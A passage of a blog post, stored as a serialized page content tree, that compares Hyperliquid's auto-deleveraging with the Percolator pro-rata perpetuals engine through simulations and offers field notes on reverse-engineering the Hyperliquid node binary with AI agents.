",{"type":23,"tag":135,"props":162575,"children":162577},{"className":162576},[1981,1982],[162578],{"type":23,"tag":139,"props":162579,"children":162581},{"className":162580},[1987],[162582],{"type":23,"tag":139,"props":162583,"children":162585},{"className":162584,"ariaHidden":1993},[1992],[162586,162612],{"type":23,"tag":139,"props":162587,"children":162589},{"className":162588},[1998],[162590,162594,162599,162603,162608],{"type":23,"tag":139,"props":162591,"children":162593},{"className":162592,"style":19591},[2003],[],{"type":23,"tag":139,"props":162595,"children":162597},{"className":162596,"style":19597},[2009,19596],[162598],{"type":28,"value":119729},{"type":23,"tag":139,"props":162600,"children":162602},{"className":162601,"style":2187},[2089],[],{"type":23,"tag":139,"props":162604,"children":162606},{"className":162605},[2192],[162607],{"type":28,"value":1067},{"type":23,"tag":139,"props":162609,"children":162611},{"className":162610,"style":2187},[2089],[],{"type":23,"tag":139,"props":162613,"children":162615},{"className":162614},[1998],[162616,162620],{"type":23,"tag":139,"props":162617,"children":162619},{"className":162618,"style":91982},[2003],[],{"type":23,"tag":139,"props":162621,"children":162623},{"className":162622},[2009],[162624],{"type":28,"value":647},{"type":28,"value":162626}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":135,"props":162628,"children":162630},{"className":162629},[1981,1982],[162631],{"type":23,"tag":139,"props":162632,"children":162634},{"className":162633},[1987],[162635],{"type":23,"tag":139,"props":162636,"children":162638},{"className":162637,"ariaHidden":1993},[1992],[162639,162666],{"type":23,"tag":139,"props":162640,"children":162642},{"className":162641},[1998],[162643,162647,162652,162656,162662],{"type":23,"tag":139,"props":162644,"children":162646},{"className":162645,"style":19591},[2003],[],{"type":23,"tag":139,"props":162648,"children":162650},{"className":162649,"style":19597},[2009,19596],[162651],{"type":28,"value":119729},{"type":23,"tag":139,"props":162653,"children":162655},{"className":162654,"style":2187},[2089],[],{"type":23,"tag":139,"props":162657,"children":162659},{"className":162658},[2192],[162660],{"type":28,"value":162661},"≈",{"type":23,"tag":139,"props":162663,"children":162665},{"className":162664,"style":2187},[2089],[],{"type":23,"tag":139,"props":162667,"children":162669},{"className":162668},[1998],[162670,162674],{"type":23,"tag":139,"props":162671,"children":162673},{"className":162672,"style":91982},[2003],[],{"type":23,"tag":139,"props":162675,"children":162677},{"className":162676},[2009],[162678],{"type":28,"value":2021},{"type":28,"value":162680}," means a few get wiped while most are untouched.",{"type":23,"tag":801,"props":162682,"children":162683},{},[162684,162688,162689,162847,162849,162943,162945],{"type":23,"tag":659,"props":162685,"children":162686},{},[162687],{"type":28,"value":158783},{"type":28,"value":30799},{"type":23,"tag":135,"props":162690,"children":162692},{"className":162691},[1981,1982],[162693],{"type":23,"tag":139,"props":162694,"children":162696},{"className":162695},[1987],[162697],{"type":23,"tag":139,"props":162698,"children":162700},{"className":162699,"ariaHidden":1993},[1992],[162701],{"type":23,"tag":139,"props":162702,"children":162704},{"className":162703},[1998],[162705,162710,162785,162790],{"type":23,"tag":139,"props":162706,"children":162709},{"className":162707,"style":162708},[2003],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":139,"props":162711,"children":162713},{"className":162712},[2009],[162714,162719],{"type":23,"tag":139,"props":162715,"children":162717},{"className":162716,"style":92959},[2009,19596],[162718],{"type":28,"value":159508},{"type":23,"tag":139,"props":162720,"children":162722},{"className":162721},[2025],[162723],{"type":23,"tag":139,"props":162724,"children":162726},{"className":162725},[2030,19650],[162727,162773],{"type":23,"tag":139,"props":162728,"children":162730},{"className":162729},[2035],[162731,162768],{"type":23,"tag":139,"props":162732,"children":162734},{"className":162733,"style":106668},[2040],[162735,162752],{"type":23,"tag":139,"props":162736,"children":162738},{"style":162737},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[162739,162743],{"type":23,"tag":139,"props":162740,"children":162742},{"className":162741,"style":2050},[2049],[],{"type":23,"tag":139,"props":162744,"children":162746},{"className":162745},[2055,2056,2057,2058],[162747],{"type":23,"tag":139,"props":162748,"children":162750},{"className":162749,"style":19597},[2009,19596,2058],[162751],{"type":28,"value":3990},{"type":23,"tag":139,"props":162753,"children":162754},{"style":2044},[162755,162759],{"type":23,"tag":139,"props":162756,"children":162758},{"className":162757,"style":2050},[2049],[],{"type":23,"tag":139,"props":162760,"children":162762},{"className":162761},[2055,2056,2057,2058],[162763],{"type":23,"tag":139,"props":162764,"children":162766},{"className":162765,"style":91437},[2009,19596,2058],[162767],{"type":28,"value":159022},{"type":23,"tag":139,"props":162769,"children":162771},{"className":162770},[19753],[162772],{"type":28,"value":19756},{"type":23,"tag":139,"props":162774,"children":162776},{"className":162775},[2035],[162777],{"type":23,"tag":139,"props":162778,"children":162781},{"className":162779,"style":162780},[2040],"height:0.2753em;",[162782],{"type":23,"tag":139,"props":162783,"children":162784},{},[],{"type":23,"tag":139,"props":162786,"children":162788},{"className":162787},[2009],[162789],{"type":28,"value":2583},{"type":23,"tag":139,"props":162791,"children":162793},{"className":162792},[2009],[162794,162799],{"type":23,"tag":139,"props":162795,"children":162797},{"className":162796,"style":92959},[2009,19596],[162798],{"type":28,"value":159508},{"type":23,"tag":139,"props":162800,"children":162802},{"className":162801},[2025],[162803],{"type":23,"tag":139,"props":162804,"children":162806},{"className":162805},[2030,19650],[162807,162836],{"type":23,"tag":139,"props":162808,"children":162810},{"className":162809},[2035],[162811,162831],{"type":23,"tag":139,"props":162812,"children":162814},{"className":162813,"style":140506},[2040],[162815],{"type":23,"tag":139,"props":162816,"children":162817},{"style":159527},[162818,162822],{"type":23,"tag":139,"props":162819,"children":162821},{"className":162820,"style":2050},[2049],[],{"type":23,"tag":139,"props":162823,"children":162825},{"className":162824},[2055,2056,2057,2058],[162826],{"type":23,"tag":139,"props":162827,"children":162829},{"className":162828,"style":19597},[2009,19596,2058],[162830],{"type":28,"value":3990},{"type":23,"tag":139,"props":162832,"children":162834},{"className":162833},[19753],[162835],{"type":28,"value":19756},{"type":23,"tag":139,"props":162837,"children":162839},{"className":162838},[2035],[162840],{"type":23,"tag":139,"props":162841,"children":162843},{"className":162842,"style":91034},[2040],[162844],{"type":23,"tag":139,"props":162845,"children":162846},{},[],{"type":28,"value":162848}," — ",{"type":23,"tag":135,"props":162850,"children":162852},{"className":162851},[1981,1982],[162853],{"type":23,"tag":139,"props":162854,"children":162856},{"className":162855},[1987],[162857],{"type":23,"tag":139,"props":162858,"children":162860},{"className":162859,"ariaHidden":1993},[1992],[162861],{"type":23,"tag":139,"props":162862,"children":162864},{"className":162863},[1998],[162865,162870],{"type":23,"tag":139,"props":162866,"children":162869},{"className":162867,"style":162868},[2003],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":139,"props":162871,"children":162873},{"className":162872},[2009],[162874,162879],{"type":23,"tag":139,"props":162875,"children":162877},{"className":162876,"style":92959},[2009,19596],[162878],{"type":28,"value":159508},{"type":23,"tag":139,"props":162880,"children":162882},{"className":162881},[2025],[162883],{"type":23,"tag":139,"props":162884,"children":162886},{"className":162885},[2030,19650],[162887,162932],{"type":23,"tag":139,"props":162888,"children":162890},{"className":162889},[2035],[162891,162927],{"type":23,"tag":139,"props":162892,"children":162894},{"className":162893,"style":106668},[2040],[162895,162911],{"type":23,"tag":139,"props":162896,"children":162897},{"style":162737},[162898,162902],{"type":23,"tag":139,"props":162899,"children":162901},{"className":162900,"style":2050},[2049],[],{"type":23,"tag":139,"props":162903,"children":162905},{"className":162904},[2055,2056,2057,2058],[162906],{"type":23,"tag":139,"props":162907,"children":162909},{"className":162908,"style":19597},[2009,19596,2058],[162910],{"type":28,"value":3990},{"type":23,"tag":139,"props":162912,"children":162913},{"style":2044},[162914,162918],{"type":23,"tag":139,"props":162915,"children":162917},{"className":162916,"style":2050},[2049],[],{"type":23,"tag":139,"props":162919,"children":162921},{"className":162920},[2055,2056,2057,2058],[162922],{"type":23,"tag":139,"props":162923,"children":162925},{"className":162924,"style":91437},[2009,19596,2058],[162926],{"type":28,"value":159022},{"type":23,"tag":139,"props":162928,"children":162930},{"className":162929},[19753],[162931],{"type":28,"value":19756},{"type":23,"tag":139,"props":162933,"children":162935},{"className":162934},[2035],[162936],{"type":23,"tag":139,"props":162937,"children":162939},{"className":162938,"style":162780},[2040],[162940],{"type":23,"tag":139,"props":162941,"children":162942},{},[],{"type":28,"value":162944}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":135,"props":162946,"children":162948},{"className":162947},[1981,1982],[162949],{"type":23,"tag":139,"props":162950,"children":162952},{"className":162951},[1987],[162953],{"type":23,"tag":139,"props":162954,"children":162956},{"className":162955,"ariaHidden":1993},[1992],[162957],{"type":23,"tag":139,"props":162958,"children":162960},{"className":162959},[1998],[162961,162965],{"type":23,"tag":139,"props":162962,"children":162964},{"className":162963,"style":108792},[2003],[],{"type":23,"tag":139,"props":162966,"children":162968},{"className":162967,"style":91437},[2009,19596],[162969],{"type":28,"value":159022},{"type":23,"tag":24,"props":162971,"children":162972},{},[162973],{"type":28,"value":162974},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":162976,"props":162977,"children":162979},"git-hub-repo-link",{"url":162978},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":24,"props":162981,"children":162982},{},[162983,162985,162990],{"type":28,"value":162984},"Given a fixed ",{"type":23,"tag":659,"props":162986,"children":162987},{},[162988],{"type":28,"value":162989},"a priori",{"type":28,"value":162991}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":24,"props":162993,"children":162994},{},[162995,162997,163002,163004,163081],{"type":28,"value":162996},"One prediction that we can make is that Percolator is ",{"type":23,"tag":659,"props":162998,"children":162999},{},[163000],{"type":28,"value":163001},"perfectly fair",{"type":28,"value":163003}," according to this scoring: the ",{"type":23,"tag":135,"props":163005,"children":163007},{"className":163006},[1981,1982],[163008],{"type":23,"tag":139,"props":163009,"children":163011},{"className":163010},[1987],[163012],{"type":23,"tag":139,"props":163013,"children":163015},{"className":163014,"ariaHidden":1993},[1992],[163016],{"type":23,"tag":139,"props":163017,"children":163019},{"className":163018},[1998],[163020,163024],{"type":23,"tag":139,"props":163021,"children":163023},{"className":163022,"style":140230},[2003],[],{"type":23,"tag":139,"props":163025,"children":163027},{"className":163026},[2009],[163028,163033],{"type":23,"tag":139,"props":163029,"children":163031},{"className":163030},[2009,19596],[163032],{"type":28,"value":82249},{"type":23,"tag":139,"props":163034,"children":163036},{"className":163035},[2025],[163037],{"type":23,"tag":139,"props":163038,"children":163040},{"className":163039},[2030,19650],[163041,163070],{"type":23,"tag":139,"props":163042,"children":163044},{"className":163043},[2035],[163045,163065],{"type":23,"tag":139,"props":163046,"children":163048},{"className":163047,"style":91480},[2040],[163049],{"type":23,"tag":139,"props":163050,"children":163051},{"style":91007},[163052,163056],{"type":23,"tag":139,"props":163053,"children":163055},{"className":163054,"style":2050},[2049],[],{"type":23,"tag":139,"props":163057,"children":163059},{"className":163058},[2055,2056,2057,2058],[163060],{"type":23,"tag":139,"props":163061,"children":163063},{"className":163062},[2009,19596,2058],[163064],{"type":28,"value":1728},{"type":23,"tag":139,"props":163066,"children":163068},{"className":163067},[19753],[163069],{"type":28,"value":19756},{"type":23,"tag":139,"props":163071,"children":163073},{"className":163072},[2035],[163074],{"type":23,"tag":139,"props":163075,"children":163077},{"className":163076,"style":91034},[2040],[163078],{"type":23,"tag":139,"props":163079,"children":163080},{},[],{"type":28,"value":163082}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":24,"props":163084,"children":163085},{},[163086,163088,163093],{"type":28,"value":163087},"We are ignoring the ",{"type":23,"tag":659,"props":163089,"children":163090},{},[163091],{"type":28,"value":163092},"a posteriori",{"type":28,"value":163094}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":24,"props":163096,"children":163097},{},[163098],{"type":28,"value":163099},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":41,"props":163101,"children":163103},{"id":163102},"simulations",[163104],{"type":28,"value":163105},"Simulations",{"type":23,"tag":24,"props":163107,"children":163108},{},[163109],{"type":28,"value":163110},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":24,"props":163112,"children":163113},{},[163114],{"type":23,"tag":429,"props":163115,"children":163118},{"alt":163116,"src":163117},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":24,"props":163120,"children":163121},{},[163122],{"type":28,"value":163123},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":24,"props":163125,"children":163126},{},[163127],{"type":23,"tag":429,"props":163128,"children":163131},{"alt":163129,"src":163130},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":666,"props":163133,"children":163135},{"id":163134},"percolator-is-more-optimistic",[163136],{"type":28,"value":163137},"Percolator Is More \"Optimistic\"",{"type":23,"tag":24,"props":163139,"children":163140},{},[163141,163143,163148,163150,163155,163157,163163,163165,163170],{"type":28,"value":163142},"The key difference is what happens to positions. ADL ",{"type":23,"tag":659,"props":163144,"children":163145},{},[163146],{"type":28,"value":163147},"permanently closes",{"type":28,"value":163149}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":659,"props":163151,"children":163152},{},[163153],{"type":28,"value":163154},"withdraw",{"type":28,"value":163156},", but the position stays open. If conditions improve, ",{"type":23,"tag":135,"props":163158,"children":163160},{"className":163159},[],[163161],{"type":28,"value":163162},"Residual",{"type":28,"value":163164}," goes up, ",{"type":23,"tag":135,"props":163166,"children":163168},{"className":163167},[],[163169],{"type":28,"value":82249},{"type":28,"value":163171}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":24,"props":163173,"children":163174},{},[163175,163177,163181],{"type":28,"value":163176},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":659,"props":163178,"children":163179},{},[163180],{"type":28,"value":18194},{"type":28,"value":163182}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":24,"props":163184,"children":163185},{},[163186],{"type":23,"tag":429,"props":163187,"children":163190},{"alt":163188,"src":163189},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":41,"props":163192,"children":163194},{"id":163193},"some-points-to-be-made",[163195],{"type":28,"value":163196},"Some Points to Be Made",{"type":23,"tag":666,"props":163198,"children":163200},{"id":163199},"percolator-is-indifferent-to-leverage",[163201],{"type":28,"value":163202},"Percolator Is Indifferent to Leverage",{"type":23,"tag":24,"props":163204,"children":163205},{},[163206],{"type":28,"value":163207},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":24,"props":163209,"children":163210},{},[163211],{"type":23,"tag":429,"props":163212,"children":163215},{"alt":163213,"src":163214},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":666,"props":163217,"children":163219},{"id":163218},"fairness",[163220],{"type":28,"value":158773},{"type":23,"tag":24,"props":163222,"children":163223},{},[163224],{"type":28,"value":163225},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":24,"props":163227,"children":163228},{},[163229],{"type":23,"tag":429,"props":163230,"children":163233},{"alt":163231,"src":163232},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":24,"props":163235,"children":163236},{},[163237,163239,163244],{"type":28,"value":163238},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":135,"props":163240,"children":163242},{"className":163241},[],[163243],{"type":28,"value":157275},{"type":28,"value":163245}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":41,"props":163247,"children":163249},{"id":163248},"strengths-and-limitations-of-agents-for-reverse-engineering",[163250],{"type":28,"value":163251},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":24,"props":163253,"children":163254},{},[163255],{"type":28,"value":163256},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":666,"props":163258,"children":163260},{"id":163259},"hooks",[163261],{"type":28,"value":163262},"Hooks",{"type":23,"tag":24,"props":163264,"children":163265},{},[163266,163268,163272],{"type":28,"value":163267},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":659,"props":163269,"children":163270},{},[163271],{"type":28,"value":163259},{"type":28,"value":163273},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":24,"props":163275,"children":163276},{},[163277],{"type":28,"value":163278},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":666,"props":163280,"children":163282},{"id":163281},"scale",[163283],{"type":28,"value":163284},"Scale",{"type":23,"tag":24,"props":163286,"children":163287},{},[163288],{"type":28,"value":163289},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":24,"props":163291,"children":163292},{},[163293],{"type":28,"value":163294},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":666,"props":163296,"children":163298},{"id":163297},"whats-next",[163299],{"type":28,"value":163300},"What's next?",{"type":23,"tag":24,"props":163302,"children":163303},{},[163304],{"type":28,"value":163305},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":162976,"props":163307,"children":163308},{"url":156936},[],{"type":23,"tag":24,"props":163310,"children":163311},{},[163312],{"type":28,"value":163313},"The analyzed binary can be found here:",{"type":23,"tag":157256,"props":163315,"children":163318},{"path":163316,"name":156860,"size":163317},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":666,"props":163320,"children":163322},{"id":163321},"closing-words",[163323],{"type":28,"value":163324},"Closing Words",{"type":23,"tag":24,"props":163326,"children":163327},{},[163328],{"type":28,"value":163329},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":24,"props":163331,"children":163332},{},[163333,163335,163340],{"type":28,"value":163334},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":659,"props":163336,"children":163337},{},[163338],{"type":28,"value":163339},"manual",{"type":28,"value":163341}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":24,"props":163343,"children":163344},{},[163345],{"type":28,"value":163346},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":24,"props":163348,"children":163349},{},[163350],{"type":28,"value":163351},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":163353,"props":163354,"children":163355},"report-footnotes",{},[163356],{"type":23,"tag":797,"props":163357,"children":163358},{},[163359,163364,163391,163396,163401],{"type":23,"tag":801,"props":163360,"children":163361},{},[163362],{"type":28,"value":163363},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":801,"props":163365,"children":163366},{},[163367,163373,163375,163381,163383,163389],{"type":23,"tag":135,"props":163368,"children":163370},{"className":163369},[],[163371],{"type":28,"value":163372},"compute_user_margin_and_shortfall",{"type":28,"value":163374}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":135,"props":163376,"children":163378},{"className":163377},[],[163379],{"type":28,"value":163380},"0x748",{"type":28,"value":163382}," in the abstract expressions of ",{"type":23,"tag":135,"props":163384,"children":163386},{"className":163385},[],[163387],{"type":28,"value":163388},"btree_cursor",{"type":28,"value":163390},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":801,"props":163392,"children":163393},{},[163394],{"type":28,"value":163395},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":801,"props":163397,"children":163398},{},[163399],{"type":28,"value":163400},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":801,"props":163402,"children":163403},{},[163404,163406,163412],{"type":28,"value":163405},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":135,"props":163407,"children":163409},{"className":163408},[],[163410],{"type":28,"value":163411},"s3://hl-mainnet-node-data/explorer_blocks",{"type":28,"value":73},{"title":7,"searchDepth":151,"depth":151,"links":163414},[163415,163416,163417,163418,163419,163422,163423,163424,163427,163428,163431,163435],{"id":156806,"depth":151,"text":156809},{"id":156799,"depth":151,"text":156827},{"id":156884,"depth":151,"text":156887},{"id":157165,"depth":151,"text":157168},{"id":157199,"depth":151,"text":157202,"children":163420},[163421],{"id":157338,"depth":160,"text":157341},{"id":158117,"depth":151,"text":158120},{"id":158213,"depth":151,"text":158216},{"id":158431,"depth":151,"text":158434,"children":163425},[163426],{"id":158676,"depth":160,"text":158679},{"id":158736,"depth":151,"text":158739},{"id":163102,"depth":151,"text":163105,"children":163429},[163430],{"id":163134,"depth":160,"text":163137},{"id":163193,"depth":151,"text":163196,"children":163432},[163433,163434],{"id":163199,"depth":160,"text":163202},{"id":163218,"depth":160,"text":158773},{"id":163248,"depth":151,"text":163251,"children":163436},[163437,163438,163439,163440],{"id":163259,"depth":160,"text":163262},{"id":163281,"depth":160,"text":163284},{"id":163297,"depth":160,"text":163300},{"id":163321,"depth":160,"text":163324},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630603]